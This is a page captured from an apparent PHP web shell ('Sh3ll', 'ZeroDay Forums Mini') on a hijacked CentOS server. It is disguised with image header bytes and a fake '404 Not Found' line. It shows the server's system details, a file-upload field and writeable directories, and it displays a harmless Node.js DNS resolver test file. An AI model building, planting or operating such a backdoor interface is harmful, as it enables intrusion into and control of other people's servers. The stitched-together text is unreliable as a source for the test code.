����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/parallel/test-dns-multi-channel.js
'use strict';
const common = require('../common');
const dnstools = require('../common/dns');
const { Resolver } = require('dns');
const assert = require('assert');
const dgram = require('dgram');

const servers = [
  {
    socket: dgram.createSocket('udp4'),
    reply: { type: 'A', address: '1.2.3.4', ttl: 123, domain: 'example.org' }
  },
  {
    socket: dgram.createSocket('udp4'),
    reply: { type: 'A', address: '5.6.7.8', ttl: 123, domain: 'example.org' }
  }
];

let waiting = servers.length;
for (const { socket, reply } of servers) {
  socket.on('message', common.mustCall((msg, { address, port }) => {
    const parsed = dnstools.parseDNSPacket(msg);
    const domain = parsed.questions[0].domain;
    assert.strictEqual(domain, 'example.org');

    socket.send(dnstools.writeDNSPacket({
      id: parsed.id,
      questions: parsed.questions,
      answers: [reply],
    }), port, address);
  }));

  socket.bind(0, common.mustCall(() => {
    if (--waiting === 0) ready();
  }));
}


function ready() {
  const resolvers = servers.map((server) => ({
    server,
    resolver: new Resolver()
  }));

  for (const { server: { socket, reply }, resolver } of resolvers) {
    resolver.setServers([`127.0.0.1:${socket.address().port}`]);
    resolver.resolve4('example.org', common.mustCall((err, res) => {
      assert.ifError(err);
      assert.deepStrictEqual(res, [reply.address]);
      socket.close();
    }));
  }
}

ZeroDay Forums Mini